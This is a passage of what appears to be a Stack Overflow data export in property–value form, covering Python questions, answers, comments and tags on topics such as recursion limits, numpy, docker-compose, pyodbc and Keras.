print('start',current_iteration*params['batch_size']) # 0 print('end',(current_iteration+1) * params['batch_size']) # 120 hdf5["train_bottle"][current_iteration*params['batch_size']: (current_iteration+1) * params['batch_size'],...] = prediction hdf5["train_labels"][current_iteration*params['batch_size']: (curren…
has comment: http://stackoverflow.com/comment/84343848
has comment: http://stackoverflow.com/comment/84346883
tagged with: hdf5
type: AnsweredQuestion
possible better answer: http://stackoverflow.com/a/49080662
score: 3
has comment: http://stackoverflow.com/comment/84359496
has comment: http://stackoverflow.com/comment/84380080
linked to: http://stackoverflow.com/q/56708673
linked to: http://stackoverflow.com/q/44881895
has comment: http://stackoverflow.com/comment/84346511
has comment: http://stackoverflow.com/comment/84384517
has comment: http://stackoverflow.com/comment/84989146
type: Question
tagged with: numpy

http://stackoverflow.com/q/48656094
upvote count: 2
answer count: 1
has answer: http://stackoverflow.com/a/48668349
favorite count: 0
tagged with: python
type: AnsweredQuestion
score: 1
has comment: http://stackoverflow.com/comment/84311351
downvote count: 1
type: Question
tagged with: graph
tagged with: recursion
has comment: http://stackoverflow.com/comment/84334664
has comment: http://stackoverflow.com/comment/84311915
has body: Briefly speaking, the recursion stopped halfway though everything else is fine. The recursion function is shown below (The entire code can be found here): def DFS(graph, startNode = 0): global nodesProcessed; global explored; global finishingTime explored[startNode] = True currentLeader = startNode if startNode in graph: for neighbor in graph[startNode]: if not explored[neighbor]: #checkpoint 1 DFS(graph, neighbor) #checkpoint 2 else: return currentLeader nodesProcessed += 1 finishingTime[startNode] = nodesProcessed return currentLeader The problem is that after a while's recursion, it stopped. The things that confused me are that: The input is fixed, but where it stops is not fixed. However, it always stopped at around 7000 times of invoke; All the failed recursions reaches checkpoint 1 but fails to reach checkpoint 2, and the recursion does not execute at all; It doesn't reach that maximum recursion time at all, I've set the max recursion as sys.setrecursionlimit(10**6) It runs pretty well on relatively small input (hundreds or thousands of nodes) but stuck on a large graph which has more than 800,000 nodes. Which are driving me crazy, I can't see a reason why it doesn't work, no error, no stack overflow, just stopped, saying Press any key to continue ... as if it is finished. Anyone has a clue about what could possibly go wrong?
has comment: http://stackoverflow.com/comment/84309990
accepted answer: http://stackoverflow.com/a/48668349
has title: Python recursion stopped unexpected
has comment: http://stackoverflow.com/comment/84310403

http://stackoverflow.com/comment/84383433
type: QuestionComment
has text: Actually, if your data is incomplete and you are trying to access data in particular positions, you would get this error. You may want to try, except and set the data to null or none.
type: Comment
comment on: http://stackoverflow.com/q/48692220
score: 0

http://stackoverflow.com/q/48776611
has answer: http://stackoverflow.com/a/48776835
score: 0
has body: I'm trying to create a function that will calculate the sum of the forces F1+F2+Gravity. According to my calculations, the formula I am trying to create is So far I've done the basics - import numpy #varibles from example problem a1 = numpy.array([0,0]) a2 = numpy.array([1,1]) s1,s2 = 10,10 L1,L2=1,2 m=1 def SpringForces(a1,a2,s1,s2,l,m): G = numpy.array([0,-9.81*m]) #algorithm return F1+F2+G I'm really not sure where to begin creating the formula. Should I create a small for loop for k equal to 1 and 2? EDIT: new code I have is def SpringForces(a1,a2,s1,s2,L1,L2,m): G = numpy.array([0,-9.81*m]) F1 = s1 * ((L1)/numpy.abs(x-a1)-1) * (x-a1) F2 = s2 * ((L2)/numpy.abs(x-a2)-1) * (x-a2) return F1+F2+G
possible better answer: http://stackoverflow.com/a/48776751
tagged with: algorithm
has answer: http://stackoverflow.com/a/48776751
accepted answer: http://stackoverflow.com/a/48776835
has title: Creating python code for spring mass forces
type: AnsweredQuestion
has comment: http://stackoverflow.com/comment/84555092
type: Question
tagged with: physics
answer count: 2
tagged with: python

http://stackoverflow.com/comment/135601134
type: AnswerComment
type: Comment
has text: The correct clause to only highlight different columns should be: `.where(s1.d1_type.isNull() | s2.d2_type.isNull() | (s1.d1_type != s2.d2_type))` Also, coalescing the column name would make the result clearer
comment on: http://stackoverflow.com/a/68914395
score: 2

http://stackoverflow.com/comment/84548958
score: 0
type: QuestionComment
comment on: http://stackoverflow.com/q/48773663
has text: I think it might be from not escaping the \ in the path on Windows. Try 'C:\\data' or 'C:/data'
type: Comment

http://stackoverflow.com/q/48649048
type: AnsweredQuestion
tagged with: docker-compose
has comment: http://stackoverflow.com/comment/84296262
has title: Docker compose up not starting up
type: Question
has comment: http://stackoverflow.com/comment/84295755
has body: I'm using docker-compose to build a docker container. But the problem is whenever I run docker-compose up, I get this error: app_1 | /usr/bin/python3: No module named app.server . P.S. I'm following this. My docker-compose.yml is: app: restart: always build: ./app expose: - "8000" volumes: - /usr/src/app/static env_file: .env command: bash -c "cd /usr/src &amp;&amp; APP_SETTING=.env python3 -m app.server" nginx: restart: always build: ./nginx/ ports: - "80:80" volumes: - /www/static volumes_from: - app links: - app:app My app/Dockerfile looks like: FROM ubuntu:16.04 . #Install Packages . WORKDIR / The folder structure looks like: my-sanic-app ├── app │ ├── Dockerfile │ ├── __init__.py │ ├── quality │ │ ├── data.py │ │ ├── __init__.py │ │ └── __pycache__ │ │ │ ├── requirements.txt │ ├── server.py │ ├── static │ │ └── index.html │ └── utils │ ├── helper.py │ └── __init__.py ├── docker-compose.yml ├── nginx │ ├── Dockerfile │ └── sites-enabled │ └── my_project Can anyone tell me what I'm doing wrong ?
answer count: 1
downvote count: 0
favorite count: 0
tagged with: docker
has answer: http://stackoverflow.com/a/48649871
tagged with: python
score: 1
upvote count: 1
accepted answer: http://stackoverflow.com/a/48649871

http://stackoverflow.com/q/48758886
tagged with: podio
type: UnansweredQuestion
has body: I have a field in an app that I am trying to filter by. I can get filtering to work for other fields (though unintuitively). The field I want to filter on is called 'Client/Partner' so my request looks like: c.Item.filter(app_id, attributes={ 'limit':500,'filters':{field_id:{'Client/Partner':'Foo'} }) Where Foo is the name of a client and it is itself an item from another app. I get the following error: TransportException(response, data) ... (object): must be array","error":"invalid_value"} How do I go about grabbing arbitrary items from Podio where I know the name and values of certain fields? The way I thought this works doesn't seem to be working for me. Do I need the 'field id'?
tagged with: python
has title: pypodio2 filter items by known field names and values
type: Question
score: 0
has answer: http://stackoverflow.com/a/48920851
answer count: 1

http://stackoverflow.com/q/48737902
score: 3
upvote count: 3
has answer: http://stackoverflow.com/a/51704811
type: Question
tagged with: pyomo
downvote count: 0
has title: Using Pyomo with PyInstaller
tagged with: pyinstaller
answer count: 1
has body: Is it possible to create a standalone executable file with PyInstaller which solves an optimization problem with Pyomo? For example, I can solve the optimization problem min_x {2*x_1 + 3*x_2 : x_i &gt;= 0, 3*x_1 + 4*x_2 &gt;= 1} by creating a file "concreteProblem.py" with the following contents from __future__ import division from pyomo.environ import * model = ConcreteModel() model.x = Var([1,2], domain=NonNegativeReals) model.OBJ = Objective(expr = 2*model.x[1] + 3*model.x[2]) model.Constraint1 = Constraint(expr = 3*model.x[1] + 4*model.x[2] &gt;= 1) and then entering pyomo solve --solver=glpk concreteProblem.py in the command line. Can I use PyInstaller to construct a standalone executable which does the same thing?
favorite count: 0
tagged with: python-3.x
type: UnansweredQuestion
tagged with: python

http://stackoverflow.com/a/48670025
has body: Doubts whether you really need it aside, you cannot do this in Python. What you are looking for is a way to set a global from local context. The way Python resolves variable names (scoping) doesn't allow to do so.
answers question: http://stackoverflow.com/q/48669614
score: 0
type: Answer

http://stackoverflow.com/a/48757844
type: Answer
answers question: http://stackoverflow.com/q/48757747
has body: why use global though? Just return it test1.py def init_foo(): foo = 10 return foo test2.py foo = test1.init_foo() print(foo)
has comment: http://stackoverflow.com/comment/84516763
has comment: http://stackoverflow.com/comment/84516884
score: 0

http://stackoverflow.com/a/48691728
score: 4
has body: Make my data a two-dimensional list, and user writer.writerows() import csv mydata = [['This', 'is', 'a', 'test', 'row'], ['This', 'is', 'another', 'test', 'row', 'my', 'dude'], ['100', '200', '300', '400', '500']] with open('test.csv', 'w') as target: writer = csv.writer(target) writer.writerows(mydata) writerow() is best used for writing single lines, like headers: import csv myheaders = ['Header1', 'Header2', 'Header3', 'Header4', 'Header5'] mydata = [['This', 'is', 'a', 'test', 'row'], ['This', 'is', 'another', 'test', 'row', 'my', 'dude'], ['100', '200', '300', '400', '500']] with open('test.csv', 'w') as target: writer = csv.writer(target) writer.writerow(myheaders) writer.writerows(mydata)
type: Answer
answers question: http://stackoverflow.com/q/48691641
accepted answer of: http://stackoverflow.com/q/48691641
upvote count: 4
type: AcceptedAnswer
downvote count: 0

http://stackoverflow.com/a/48660308
answers question: http://stackoverflow.com/q/48658566
type: AcceptedAnswer
has comment: http://stackoverflow.com/comment/84358905
has comment: http://stackoverflow.com/comment/84355525
score: 0
type: Answer
has comment: http://stackoverflow.com/comment/84329521
has comment: http://stackoverflow.com/comment/84328671
accepted answer of: http://stackoverflow.com/q/48658566
has body: This piece of code should solve the issue: import numpy as np x = np.random.rand(10) # some values of x; replace it with your values of x t = np.arange(1, 11) - (np.random.rand(10) - 0.5) # simulated, not equally spaced timestamps; replace it with your values of t for idx, val in enumerate(x): if val &gt; 0.6: # triggers, when Amplitude is above 0.6 print('Abnormal reading detected at Time ' + str(t[idx]) + 's. Please change cutting tool !!') break # 'break' command for stopping of 'for' loop
has comment: http://stackoverflow.com/comment/84329403
has comment: http://stackoverflow.com/comment/84355130
has comment: http://stackoverflow.com/comment/84334298

http://stackoverflow.com/a/48727608
has comment: http://stackoverflow.com/comment/84461028
upvote count: 2
has comment: http://stackoverflow.com/comment/84455010
accepted answer of: http://stackoverflow.com/q/48727533
type: AcceptedAnswer
downvote count: 0
has comment: http://stackoverflow.com/comment/85045392
type: Answer
has body: This is quoted from Options and Settings Python documentation. Setting Startup Options in python/ipython Environment Using startup scripts for the python/ipython environment to import pandas and set options makes working with pandas more efficient. To do this, create a .py or .ipy script in the startup directory of the desired profile. An example where the startup folder is in a default ipython profile can be found at: $IPYTHONDIR/profile_default/startup More information can be found in the ipython documentation. An example startup script for pandas is displayed below: import pandas as pd pd.set_option('display.max_rows', 999) pd.set_option('precision', 5)
answers question: http://stackoverflow.com/q/48727533
score: 2

http://stackoverflow.com/a/48732644
upvote count: 2
has body: A solution without regex: def parse_line(line): first, second = line.split(',') ind = int(first.split()[0][2:]) num1 = float(first.split()[-1]) num2 = float(second.split()[0]) return [ind, num1, num2] line = 'P087 = ( 4.000000000000000E+001,-6.250000000000000E-001 )' print(parse_line(line)) line = ' P088 = ( 4.000000000000000E+001, 0.000000000000000E+000 )' print(parse_line(line))
type: Answer
score: 2
downvote count: 0
answers question: http://stackoverflow.com/q/48732515

http://stackoverflow.com/comment/84557846
type: AnswerComment
has text: Thanks @Stefan. That's much cleaner. Updated.
score: 0
type: Comment
comment on: http://stackoverflow.com/a/48777963

http://stackoverflow.com/q/48799231
accepted answer: http://stackoverflow.com/a/48799350
has title: Numpy percentiles with linear interpolation - wrong value?
tagged with: python
upvote count: 7
type: AnsweredQuestion
has body: The linear interpolation formula for percentiles is: linear: i + (j - i) * fraction, where fraction is the fractional part of the index surrounded by i and j. Suppose I have this list with 16 observations: test = [0, 1, 5, 5, 5, 6, 6, 7, 7, 8, 11, 12, 21, 23, 23, 24] I pass it as a numpy array and calculate the 85th percentile using linear interpolation. np_test = np.asarray(test) np.percentile(np_test, 85, interpolation = 'linear') The result I get is 22.5. However, I don't think that's correct. The index of the 85th percentile is .85 * 16 = 13.6. Thus, the fractional part is .6. The 13th value is 21, so i = 21. The 14th value is 23, so j = 23. The linear formula should then yield: 21 + (23 - 21) * .6 = 21 + 2 * .6 = 21 + 1.2 = 22.2 The correct answer is 22.2. Why am I getting 22.5 instead?
score: 7
type: Question
tagged with: numpy
downvote count: 0
has answer: http://stackoverflow.com/a/48799350
answer count: 1
tagged with: percentile
tagged with: linear-interpolation
favorite count: 0

http://stackoverflow.com/comment/84419398
comment on: http://stackoverflow.com/a/48705932
type: AnswerComment
type: Comment
score: 0
has text: @HamidKhan probably you could fetch data with raw query like this: https://stackoverflow.com/questions/111341/combine-multiple-results-in-a-subquery-into-a-single-comma-separated-value Not sure if this faster or not.

http://stackoverflow.com/q/48707749
has comment: http://stackoverflow.com/comment/84414435
has title: How to append object to and dictionary value in Python, Odoo?
tagged with: odoo-10
downvote count: 0
favorite count: 0
has answer: http://stackoverflow.com/a/48707847
type: UnansweredQuestion
upvote count: 1
tagged with: python
answer count: 4
tagged with: odoo
score: 1
has body: active_route_ids = self.env['route.data'].browse(active_ids) customer_contacts_group = {} for record in active_route_ids: for control in record.cust_control_pts: key_id = str(control.res_partner.id) if key_id not in customer_contacts_group: customer_contacts_group[key_id] = record else: customer_contacts_group[key_id].add(record) Let's say we have dictionary like this: customer_contacts_group = {'1': (20,)} I want to make it like this: customer_contacts_group = {'1': (20,30,40,)} by appending values to customer_contacts_group['1'] one by one.
has answer: http://stackoverflow.com/a/48707820
has answer: http://stackoverflow.com/a/48707876
type: Question
linked to: http://stackoverflow.com/q/1380860
has answer: http://stackoverflow.com/a/48707889

http://stackoverflow.com/q/48740460
type: AnsweredQuestion
has comment: http://stackoverflow.com/comment/84488328
tagged with: tornado
type: Question
score: 0
answer count: 1
linked to: http://stackoverflow.com/q/38810868
tagged with: python
has body: I have a url :"https://findicons.com/files/icons/2787/beautiful_flat_icons/128/running.png" I want to get the image and write it to file , i write the code as follow: import urllib.request web = urllib.request.urlopen(iturl) itdata = web.read() f = open(str(cou) + '.png', "wb") cou = cou + 1 f.write(itdata) f.close() My question is ,if i have many urls to download ,how can i implement it by coroutine of tornado?
has answer: http://stackoverflow.com/a/48752778
accepted answer: http://stackoverflow.com/a/48752778
has title: how to use tornado to get image and write it in a file?

http://stackoverflow.com/comment/84485920
comment on: http://stackoverflow.com/a/48742314
score: 0
type: Comment
has text: I am getting this error: ValueError: bad mode 'rb'. Just found that **Image** doesn't support 'rb' mode
type: AnswerComment

http://stackoverflow.com/a/48719859
has comment: http://stackoverflow.com/comment/84442557
has comment: http://stackoverflow.com/comment/84440710
has comment: http://stackoverflow.com/comment/84438922
has body: In the success() function you should append the result to the innerHTML of the output tag and give the output tag an id that can be accessed from the JS function
answers question: http://stackoverflow.com/q/48719739
has comment: http://stackoverflow.com/comment/84443925
score: 0
type: Answer

http://stackoverflow.com/comment/84410638
type: Comment
comment on: http://stackoverflow.com/a/48705932
has text: It gives me this [{'time': datetime.time(15, 1), 'day__day': 'Sunday'}, {'time': datetime.time(16, 2), 'day__day': 'Sunday'}, {'time': datetime.time(9, 1), 'day__day': 'Monday'}, {'time': datetime.time(15, 1), 'day__day': 'Monday'}, {'time': datetime.time(16, 2), 'day__day': 'Monday'}, {'time': datetime.time(9, 1), 'day__day': 'Tuesday'}, {'time': datetime.time(16, 2), 'day__day': 'Tuesday'}] It not group how I mentioned in the question. Thank you
type: AnswerComment
score: 0

http://stackoverflow.com/comment/114700722
type: QuestionComment
has text: I think he has already tried deconvolution with Wiener filter.
comment on: http://stackoverflow.com/q/48674106
score: 0
type: Comment

http://stackoverflow.com/comment/84876687
type: Comment
comment on: http://stackoverflow.com/a/48917471
has text: Yes, that was the same error I've got for entities that work as service configs, and were only read inside the transaction, while the writes were happening to other entity-groups. I remember that a Googler explained to me a few years ago that Cloud Datastore uses optimistic concurrency, but I can't remember where I was given the information. However, I've found this older article here: https://cloud.google.com/appengine/articles/scaling/contention#keep-entity-groups-small that makes me believe that the contention doesn't happen by transactions that are entirely read-only.
score: 0
type: AnswerComment

http://stackoverflow.com/comment/84346189
comment on: http://stackoverflow.com/a/48673325
type: AnswerComment
has text: That works! But.. can you explain why you set 'cols'? Are these keys that are built into to_datetime? How come I cannot just send the columns I want to convert to datetime into to_datetime directly? Thanks!
score: 0
type: Comment

http://stackoverflow.com/q/48726264
type: AnsweredQuestion
has answer: http://stackoverflow.com/a/48726319
tagged with: list
score: 1
type: Question
answer count: 2
downvote count: 0
has answer: http://stackoverflow.com/a/48726302
accepted answer: http://stackoverflow.com/a/48726302
has title: Moving Items Between Lists in Python
has body: So I have recently began programming in earnest with Automate the Boring the Stuff, and after reading the chapters on basic syntax decided to start working on a Blackjack game. However, I ran into a problem when dealing out the cards. I have the main deck deck=[2,3,4,5,6,7,8,9,'J','Q','K','A']*4 and have a separate empty list called playerHand. I understand that I can use .append and random.choice to pick a card at random and add it to playerHand[], but this doesn't remove the cards from deck[]. The only way I could think of would be to randomly generate a number between one and the amount of cards left in deck, set a variable to that number, set another variable to the card at that index, add that card to playerHand[], and then finally delete the card at that index in deck[]. Is there a way to do it that doesn't involve 2 temporary variables?
favorite count: 0
possible better answer: http://stackoverflow.com/a/48726319
upvote count: 1
tagged with: python

http://stackoverflow.com/comment/84616147
score: 0
type: AnswerComment
has text: This is a great answer, and it definitely shows how the combinatorial aspect of order can be taken into consideration within a DP approach :)
type: Comment
comment on: http://stackoverflow.com/a/48798643

http://stackoverflow.com/a/53005614
type: Answer
has body: First of all: A model is not a subapp. If that's clear: IIRC, Django 1.8 requires a class Meta to know which app a model belongs to. If you only have an additional model, you need class Meta to specify the app_label. If you have a real subapp (i.e. an app within a app), you also need to add it to settings.INSTALLED_APPS for their migrations to work properly.
answers question: http://stackoverflow.com/q/48751888
score: 0

http://stackoverflow.com/a/48676602
has body: You can use the numpy.char module which provides vectorized versions of many string operations: &gt;&gt;&gt; import numpy as np &gt;&gt;&gt; &gt;&gt;&gt; a = np.array((1,2,10),'U2') &gt;&gt;&gt; a array(['1', '2', '10'], dtype='&lt;U2') &gt;&gt;&gt; &gt;&gt;&gt; b = np.char.zfill(a, 3) &gt;&gt;&gt; b array(['001', '002', '010'], dtype='&lt;U3') &gt;&gt;&gt; &gt;&gt;&gt; c = b.view('U1').reshape(3, 3).T.astype(int) &gt;&gt;&gt; c array([[0, 0, 0], [0, 0, 1], [1, 2, 0]])
type: Answer
downvote count: 0
answers question: http://stackoverflow.com/q/48675902
score: 1
upvote count: 1

http://stackoverflow.com/comment/84434948
score: 0
comment on: http://stackoverflow.com/q/48717928
type: Comment
type: QuestionComment
has text: let me check that out

http://stackoverflow.com/a/48778464
has comment: http://stackoverflow.com/comment/84558820
upvote count: 2
type: Answer
accepted answer of: http://stackoverflow.com/q/48778146
has comment: http://stackoverflow.com/comment/84558769
score: 2
has body: This is possible, you just need to switch to using a lazy mapping function (not map or starmap, which have to finish computing all the results before you can begin using any of them): from functools import partial from itertools import tee manager = multiprocessing.Manager() graph_pool = manager.dict(graph) pool = multiprocessing.Pool() # Since you're processing in order and in parallel, tee might help a little # by only generating the dict keys/search arguments once. That said, # combinations of n choose 2 are fairly cheap; the overhead of tee's caching # might overwhelm the cost of just generating the combinations twice startgoals1, startgoals2 = tee(itertools.combinations(graph, 2)) # Use partial binding of search with graph_pool to be able to use imap # without a wrapper function; using imap lets us consume results as they become # available, so the tee-ed generators don't store too many temporaries results = pool.imap(partial(search, graph_pool), startgoals2)) # Efficiently create the dict from the start/goal pairs and the results of the search # This line is eager, so it won't complete until all the results are generated, but # it will be consuming the results as they become available in parallel with # calculating the results all_solutions = dict(zip(startgoals1, results))
answers question: http://stackoverflow.com/q/48778146
downvote count: 0
has comment: http://stackoverflow.com/comment/84558705
type: AcceptedAnswer

http://stackoverflow.com/q/48648177
has answer: http://stackoverflow.com/a/48648442
tagged with: socket.io
tagged with: javascript
type: UnansweredQuestion
has title: Flask-SocketIO: Sending messages back to client
type: Question
has body: I am currently trying to implement a Twitter Stream using Twitter's Streaming API and I am using Flask-SocketIO for use in Python. Now I am able to send an emit to trigger a function in Flask which calls the Twitter API based on some keyword, but I want the text from the stream back to the JavaScript front-end which hasn't been too successful. I am able to send, for instance, a message like "Hi" if I listen on 'message', but I've tried to send JSON back to no avail. My Flask function for this is: @socketio.on('my event') def handle_my_custom_event(json): print('received json: ' + str(json)) r = api.request('statuses/filter', json) for item in r.get_iterator(): if 'text' in item: print(item['text']) json_data = {'data': item['text']} send(json_data, json=True) JSON in this case is {'track':'$AAPL'} so fetches each tweet about Apple as it happens. item['text'] is the string of the tweet text. I've tried using send, also tried using emit('my response',json_data) and listened for 'my response' but I'm not sure I'm doing all of this right. My front-end script for this currently looks like this: $(document).ready(function() { var socket = io.connect('http://' + document.domain + ':' + location.port); socket.on('connect', function() { socket.emit('my event', {'track': '$'+data_prices[0]['symbol'].toString()}, function(data){ console.log(data); if (data.error) console.log('Something went wrong on the server'); if (data.ok) console.log('Event was processed successfully'); }); }); }); but I receive no console logs, nothing. What would I have to do to receive the json_data object in my front-end script and have it log to the console? UPDATE: I've managed to get them coming in when I emit them to an event 'my response' but it only seems to log to the console when I shut down the server. Is there a way to keep this running as a stream to the console so I can use the data in the front-end?
tagged with: python
answer count: 1
score: 0
tagged with: flask-socketio
tagged with: http://stackoverflow.com/tag/json

kivy-language
type: Tag
tags question: http://stackoverflow.com/q/48759026
tags question: http://stackoverflow.com/q/48683782
tags question: http://stackoverflow.com/q/48695121
tags question: http://stackoverflow.com/q/48799219
tags question: http://stackoverflow.com/q/48655518
tags question: http://stackoverflow.com/q/48733031
tags question: http://stackoverflow.com/q/48774841
tags question: http://stackoverflow.com/q/48717727
tags question: http://stackoverflow.com/q/48672318
tag name: kivy-language

http://stackoverflow.com/a/48724480
downvote count: 0
score: 1
has body: Thank you so much wwii. Yeah that worked out very well. The code below is what I needed. Thanks again for your help. for r in df.itertuples(index=False, name='summary_stats'): for item in r: print(item) I get this output: &gt;&gt;&gt;9.37556366342 0.000101673198518 2 471 473
upvote count: 1
type: Answer
answers question: http://stackoverflow.com/q/48722661

http://stackoverflow.com/q/48706280
accepted answer: http://stackoverflow.com/a/48714167
type: Question
has body: sorry for such specific question guys , I think people only with knowledge of Maya will answer tho. In Maya I have cubes different sizes and I need to find with python which face of cube is pointing Y axis down. (Pivot is in center) Any tips will be appreciated Thanks a lot :)
has comment: http://stackoverflow.com/comment/84411853
has answer: http://stackoverflow.com/a/48707258
upvote count: 2
has title: how to find Y face of the cube in Maya with Python
answer count: 3
possible better answer: http://stackoverflow.com/a/48707258
downvote count: 1
tagged with: maya
favorite count: 0
tagged with: python
has answer: http://stackoverflow.com/a/48709891
type: AnsweredQuestion
score: 1
has answer: http://stackoverflow.com/a/48714167

http://stackoverflow.com/a/48679092
downvote count: 0
score: 1
upvote count: 1
has comment: http://stackoverflow.com/comment/84376109
has body: If you have the tickers in a list tickers_list, you can do for ticker in tickers_list: print("https://finance.yahoo.com/quote/"+ticker+"?p="+ticker) This is called a for each loop, and the ticker variable will be taking the value of each item in the list throughout the loop's iterations. So if tickers_list = ['ABC', 'BBC', 'CBC'], this would make ticker have the value of 'ABC' the first iteration, then 'BBC' the second, and 'CBC' the third. This might be more useful for you I think since you probably have a function that will need a string already prepared to be worked with: base_string = "https://finance.yahoo.com/quote/%s?p=%s" for ticker in tickers_list: current_url = base_string % (ticker,ticker) my_function(current_url) This is called string formatting, where you have a placeholder in the string and you fill it up later. Each %s in the base_string needs a variable to fill it, and that's why in making the current_url the percent sign is followed by two tickers.
type: Answer
has comment: http://stackoverflow.com/comment/84374733
answers question: http://stackoverflow.com/q/48678317

http://stackoverflow.com/a/48656878
score: 0
type: Answer
has body: Yep, the problem was that I was in interactive mode. Having just started yesterday, I didn't even know the difference. Thanks for the quick responses guys.
answers question: http://stackoverflow.com/q/48656652

http://stackoverflow.com/comment/84396146
type: QuestionComment
has text: Before use the python script, try exporting the env variables, then use wget or curl, to see if you can connect. I prefer `pycurl` over request. Another solution can be using `redsocks` https://github.com/darkk/redsocks
score: 0
comment on: http://stackoverflow.com/q/48676514
type: Comment

http://stackoverflow.com/q/48795910
tagged with: neural-network
upvote count: 4
has answer: http://stackoverflow.com/a/51509228
answer count: 1
tagged with: keras
favorite count: 0
linked to: http://stackoverflow.com/q/51486073
has title: Binarize tensor in Keras
type: UnansweredQuestion
tagged with: python
has comment: http://stackoverflow.com/comment/89941315
tagged with: keras-2
score: 3
tagged with: machine-learning
downvote count: 1
type: Question
has body: I need to create a loss function for Keras that works with only binary values. In wanted for to transform all the values greater than 0.5 to 1.0, so I did that: def MyLoss(y_true, y_pred: y_true_f = K.flatten(y_true) y_pred_f = K.flatten(K.cast(K.greater(y_pred, 0.5), 'float32')) #y_pred_f = K.flatten(K.cast(y_pred &gt; 0.5), 'float32') #y_pred_f = K.flatten(y_pred &gt; 0.5) return K.sum(y_true_f * y_pred_f) The code compiles, but later it generates the following error: ValueError: None values not supported. I also tried the commented lines, same error. If I don't try to modify the values using simply y_pred_f = K.flatten(y_pred), it runs. What am I doing wrong? How can I binarize a tensor?

http://stackoverflow.com/comment/84575660
type: AnswerComment
has text: obviously not - your reference needs to be accessible. objects used inside a function need to be available inside that scope. you can read variables from the global scope inside a function but to write to them you need to either pass their reference, have them accessible as being an instance variable or declare them global inside your function, just as i told you inside my answer.
score: 0
type: Comment
comment on: http://stackoverflow.com/a/48748568

http://stackoverflow.com/comment/84586792
comment on: http://stackoverflow.com/a/48791810
score: 0
has text: You can't modify the response after the response to the initial request is sent - the request context is lost
type: AnswerComment
type: Comment

http://stackoverflow.com/q/48717726
score: 12
answer count: 2
has answer: http://stackoverflow.com/a/49281219
has comment: http://stackoverflow.com/comment/85202585
favorite count: 0
upvote count: 12
tagged with: python-3.x
type: UnansweredQuestion
tagged with: python
has title: python3 openCV install error: Symbol not found: _clock_gettime
tagged with: opencv
downvote count: 0
has body: Can anyone help me fixing an error when importing opencv in python3? when I import cv2 in python3, I get something like Traceback (most recent call last): File "&lt;stdin&gt;", line 1, in &lt;module&gt; File "/Library/Frameworks/Python.framework/Versions/3.6/lib/python3.6/site- packages/cv2/__init__.py", line 4, in &lt;module&gt; from .cv2 import * ImportError: dlopen(/Library/Frameworks/Python.framework/Versions/3.6/lib/python3.6/site-packages/cv2/cv2.cpython-36m-darwin.so, 2): Symbol not found: _clock_gettime Referenced from: /Library/Frameworks/Python.framework/Versions/3.6/lib/python3.6/site-packages/cv2/.dylibs/libavutil.55.78.100.dylib (which was built for Mac OS X 10.12) Expected in: /usr/lib/libSystem.B.dylib in /Library/Frameworks/Python.framework/Versions/3.6/lib/python3.6/site-packages/cv2/.dylibs/libavutil.55.78.100.dylib Also, I'm using python version 3.6.3
type: Question
has answer: http://stackoverflow.com/a/50013327

http://stackoverflow.com/comment/84412292
comment on: http://stackoverflow.com/q/48702696
score: 0
type: Comment
type: QuestionComment
has text: I'd have tagged [tag:Tk] as well with this question. It's odd in a way though custom colors seem to be filled using a loop, when in paint they're initially empty(or all white).

http://stackoverflow.com/a/48775874
has body: I ended up using #!/usr/bin/python import pandas as pd import json master_df = pd.read_csv('sg_main__test.txt', parse_dates={'$date' :['date', 'time']}, sep='\s+', encoding='utf-8') out_file = master_df.to_json('sg_main__test.json', date_format='iso', orient='records') But the issue with this is date formatting. I need my data set to export to - "Timestamp" : {$date:"2018-02-12T01:50:37.000Z"} Currently its exporting as - {"$date":"2011-07-22T20:34:51.000Z"} Doesn't seem to be an easy solution.
answers question: http://stackoverflow.com/q/48752209
upvote count: 1
type: Answer
downvote count: 0
score: 1

user-interface
tags question: http://stackoverflow.com/q/48794520
tags question: http://stackoverflow.com/q/48774851
tags question: http://stackoverflow.com/q/48711043
tags question: http://stackoverflow.com/q/48785940
tags question: http://stackoverflow.com/q/48646903
tags question: http://stackoverflow.com/q/48695121
tags question: http://stackoverflow.com/q/48724047
type: Tag
tags question: http://stackoverflow.com/q/48737346
tags question: http://stackoverflow.com/q/48800292
tags question: http://stackoverflow.com/q/48767005
tags question: http://stackoverflow.com/q/48741012
tags question: http://stackoverflow.com/q/48800379
tags question: http://stackoverflow.com/q/48668111
tags question: http://stackoverflow.com/q/48708318
tags question: http://stackoverflow.com/q/48756633
tags question: http://stackoverflow.com/q/48672819
tags question: http://stackoverflow.com/q/48759026
tags question: http://stackoverflow.com/q/48773658
tags question: http://stackoverflow.com/q/48654409
tag name: user-interface

http://stackoverflow.com/q/48691573
tagged with: ms-access-2016
accepted answer: http://stackoverflow.com/a/48706633
type: Question
downvote count: 0
has comment: http://stackoverflow.com/comment/84383504
has title: Cannot insert/update Long Text field in a table in an Access database using pyodbc
answer count: 1
has answer: http://stackoverflow.com/a/48706633
has body: I have been using pyodbc to connect with a local Access database (.accdb file), but have been unable to update a Long Text field, if the string I am trying to input has more than 255 characters. The data type of the field (Description) is Long Text, and the Text Format is Rich Text. The code: import pyodbc pyodbc.pooling = False conn_str = ( r'DRIVER={Microsoft Access Driver (*.mdb, *.accdb)};' r'DBQ=C:\...\...\...\...\database.accdb;' ) cnxn = pyodbc.connect(conn_str) crsr = cnxn.cursor() temp_desc = complex_descricao(comp_idx, "T_Compound", crsr, cnxn) #Function produces large string (&gt; 255 characters) #temp_desc = temp_desc[:255] # Filter I have used to test the maximum number of characters allowed crsr.execute("UPDATE T_Compound SET Description = ? WHERE ID_Comp = ?", temp_desc, comp_idx) cnxn.commit() This produces the following error: Error: ('HY104', '[HY104] [Microsoft][ODBC Microsoft Access Driver]Invalid precision value (98) (SQLBindParameter)') I have tried to change the field properties directly in the database. I have also tried to insert a string with more than 255 characters directly in Acces, and was able to do so. I have searched for ways of fixing the problems, and I think it has something to do with binding parameters, although I do not have much knowledge on the topic. I leave here a link I believe it may have something to do with the issue: https://github.com/mkleehammer/pyodbc/wiki/Binding-Parameters Any help in making it possible to update the field with large strings would be appreciated.
tagged with: ms-access
favorite count: 0
tagged with: python-3.x
upvote count: 2
tagged with: python
tagged with: pyodbc
has comment: http://stackoverflow.com/comment/84403869
type: AnsweredQuestion
score: 2

http://stackoverflow.com/a/48657576
type: AcceptedAnswer
score: 10
downvote count: 0
type: Answer
accepted answer of: http://stackoverflow.com/q/48657323
answers question: http://stackoverflow.com/q/48657323
has comment: http://stackoverflow.com/comment/124234520
